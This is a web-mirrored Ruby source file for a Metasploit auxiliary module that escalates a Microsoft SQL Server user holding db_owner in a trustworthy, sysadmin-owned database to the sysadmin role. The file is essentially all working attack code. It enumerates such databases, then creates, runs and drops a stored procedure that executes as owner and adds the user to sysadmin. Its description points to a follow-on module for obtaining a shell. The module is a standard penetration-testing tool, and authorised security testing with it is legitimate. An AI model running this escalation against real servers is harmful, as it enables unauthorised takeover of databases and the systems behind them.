CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/mssql/mssql_escalate_dbowner.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::MSSQL
8
include Msf::OptionalSession::MSSQL
9
10
def initialize(info = {})
11
super(update_info(info,
12
'Name' => 'Microsoft SQL Server Escalate Db_Owner',
13
'Description' => %q{
14
This module can be used to escalate privileges to sysadmin if the user has
15
the db_owner role in a trustworthy database owned by a sysadmin user. Once
16
the user has the sysadmin role the msssql_payload module can be used to obtain
17
a shell on the system.
18
},
19
'Author' => [ 'nullbind <scott.sutherland[at]netspi.com>'],
20
'License' => MSF_LICENSE,
21
'References' => [[ 'URL','http://technet.microsoft.com/en-us/library/ms188676(v=sql.105).aspx']]
22
))
23
end
24
25
def run
26
# Check connection and issue initial query
27
if session
28
set_mssql_session(session.client)
29
else
30
print_status("Attempting to connect to the database server at #{rhost}:#{rport} as #{datastore['USERNAME']}...")
31
if mssql_login_datastore
32
print_good('Connected.')
33
else
34
print_error("Login was unsuccessful. Check your credentials.")
35
disconnect
36
return
37
end
38
end
39
40
# Query for sysadmin status
41
print_status("Checking if #{datastore['USERNAME']} has the sysadmin role...")
42
user_status = check_sysadmin
43
44
# Check if user has sysadmin role
45
if user_status == 1
46
print_good("#{datastore['USERNAME']} has the sysadmin role, no escalation required.")
47
disconnect
48
return
49
else
50
print_status("You're NOT a sysadmin, let's try to change that")
51
end
52
53
# Check for trusted databases owned by sysadmins
54
print_status("Checking for trusted databases owned by sysadmins...")
55
trust_db_list = check_trust_dbs
56
if trust_db_list.nil? || trust_db_list.length == 0
57
print_error('No databases owned by sysadmin were found flagged as trustworthy.')
58
disconnect
59
return
60
else
61
# Display list of accessible databases to user
62
print_good("#{trust_db_list.length} affected database(s) were found:")
63
trust_db_list.each do |db|
64
print_status(" - #{db[0]}")
65
end
66
end
67
68
# Check if the user has the db_owner role in any of the databases
69
print_status('Checking if the user has the db_owner role in any of them...')
70
dbowner_status = check_db_owner(trust_db_list)
71
if dbowner_status.nil?
72
print_error("Fail buckets, the user doesn't have db_owner role anywhere.")
73
disconnect
74
return
75
end
76
77
# Attempt to escalate to sysadmin
78
print_status("Attempting to escalate in #{dbowner_status}!")
79
escalate_status = escalate_privs(dbowner_status)
80
if escalate_status
81
# Check if escalation was successful
82
user_status = check_sysadmin
83
if user_status == 1
84
print_good("Congrats, #{datastore['USERNAME']} is now a sysadmin!.")
85
else
86
print_error("Fail buckets, something went wrong.")
87
end
88
else
89
print_error("Error while trying to escalate status")
90
end
91
92
disconnect
93
return
94
end
95
96
# Checks if user is already sysadmin
97
def check_sysadmin
98
# Setup query to check for sysadmin
99
sql = "select is_srvrolemember('sysadmin') as IsSysAdmin"
100
101
# Run query
102
result = mssql_query(sql)
103
104
# Parse query results
105
parse_results = result[:rows]
106
status = parse_results[0][0]
107
108
# Return status
109
return status
110
end
111
112
# Gets trusted databases owned by sysadmins
113
def check_trust_dbs
114
# Setup query
115
sql = "SELECT d.name AS DATABASENAME
116
FROM sys.server_principals r
117
INNER JOIN sys.server_role_members m ON r.principal_id = m.role_principal_id
118
INNER JOIN sys.server_principals p ON
119
p.principal_id = m.member_principal_id
120
inner join sys.databases d on suser_sname(d.owner_sid) = p.name
121
WHERE is_trustworthy_on = 1 AND d.name NOT IN ('MSDB') and r.type = 'R' and r.name = N'sysadmin'"
122
123
result = mssql_query(sql)
124
125
# Return on success
126
return result[:rows]
127
end
128
129
# Checks if user has the db_owner role
130
def check_db_owner(trust_db_list)
131
# Check if the user has the db_owner role is any databases
132
trust_db_list.each do |db|
133
# Setup query
134
sql = "use #{db[0]};select db_name() as db,rp.name as database_role, mp.name as database_user
135
from [#{db[0]}].sys.database_role_members drm
136
join [#{db[0]}].sys.database_principals rp on (drm.role_principal_id = rp.principal_id)
137
join [#{db[0]}].sys.database_principals mp on (drm.member_principal_id = mp.principal_id)
138
where rp.name = 'db_owner' and mp.name = SYSTEM_USER"
139
140
# Run query
141
result = mssql_query(sql)
142
143
# Parse query results
144
parse_results = result[:rows]
145
if parse_results && parse_results.any?
146
print_good("- db_owner on #{db[0]} found!")
147
return db[0]
148
end
149
end
150
151
nil
152
end
153
154
def escalate_privs(dbowner_db)
155
print_status("#{dbowner_db}")
156
# Create the evil stored procedure WITH EXECUTE AS OWNER
157
evil_sql_create = "use #{dbowner_db};
158
DECLARE @myevil as varchar(max)
159
set @myevil = '
160
CREATE PROCEDURE sp_elevate_me
161
WITH EXECUTE AS OWNER
162
as
163
begin
164
EXEC sp_addsrvrolemember ''#{datastore['USERNAME']}'',''sysadmin''
165
end';
166
exec(@myevil);
167
select 1;"
168
mssql_query(evil_sql_create)
169
170
# Run the evil stored procedure
171
evilsql_run = "use #{dbowner_db};
172
DECLARE @myevil2 as varchar(max)
173
set @myevil2 = 'EXEC sp_elevate_me'
174
exec(@myevil2);"
175
mssql_query(evilsql_run)
176
177
# Remove evil procedure
178
evilsql_remove = "use #{dbowner_db};
179
DECLARE @myevil3 as varchar(max)
180
set @myevil3 = 'DROP PROCEDURE sp_elevate_me'
181
exec(@myevil3);"
182
mssql_query(evilsql_remove)
183
184
true
185
end
186
end
187
188